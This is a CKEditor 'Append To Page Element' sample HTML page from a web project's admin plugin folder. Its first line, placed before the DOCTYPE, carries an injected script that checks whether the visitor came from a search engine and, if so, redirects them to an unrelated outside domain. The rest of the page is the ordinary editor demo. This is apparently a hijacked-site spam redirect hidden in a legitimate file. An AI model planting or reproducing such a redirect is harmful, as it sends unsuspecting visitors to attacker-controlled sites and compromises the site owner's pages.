d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\appendto.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <!--
003: Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004: For licensing, see LICENSE.md or http://ckeditor.com/license
005: -->

006: <html>
007: <head>
008:    <meta charset="utf-8">
009:    <title>Append To Page Element Using JavaScript Code &mdash; CKEditor Sample</title>
010:    <script src="../../ckeditor.js"></script>
011:    <link rel="stylesheet" href="sample.css">
012: </head>
013: <body>
014:    <h1 class="samples">
015:       <a href="index.html">CKEditor Samples</a> &raquo; Append To Page Element Using JavaScript Code
016:    </h1>
017:    <div class="warning deprecated">
018:       This sample is not maintained anymore. Check out the <a href="http://sdk.ckeditor.com/">brand new samples in CKEditor SDK</a>.
019:    </div>
020:    <div id="section1">
021:       <div class="description">
022:          <p>
023:             The <code><a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR-method-appendTo">CKEDITOR.appendTo()</a></code> method serves to to place editors inside existing DOM elements. Unlike <code><a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR-method-replace">CKEDITOR.replace()</a></code>,
024:             a target container to be replaced is no longer necessary. A new editor
025:             instance is inserted directly wherever it is desired.
026:          </p>
027: <pre class="samples">CKEDITOR.appendTo( '<em>container_id</em>',
028:    { /* Configuration options to be used. */ }
029:    'Editor content to be used.'
030: );</pre>
031:       </div>
032:       <script>
033:
034:          // This call can be placed at any point after the
035:          // DOM element to append CKEditor to or inside the <head><script>
036:          // in a window.onload event handler.
037:
038:          // Append a CKEditor instance using the default configuration and the
039:          // provided content to the <div> element of ID "section1".
040:          CKEDITOR.appendTo( 'section1',
041:             null,
042:             '<p>This is some <strong>sample text</strong>. You are using <a href="http://ckeditor.com/">CKEditor</a>.</p>'
043:          );
044:
045:       </script>
046:    </div>
047:    <br>
048:    <div id="footer">
049:       <hr>
050:       <p>
051:          CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
052:       </p>
053:       <p id="copy">
054:          Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
055:          Knabben. All rights reserved.
056:       </p>
057:    </div>
058: </body>
059: </html>
060:
061:
062: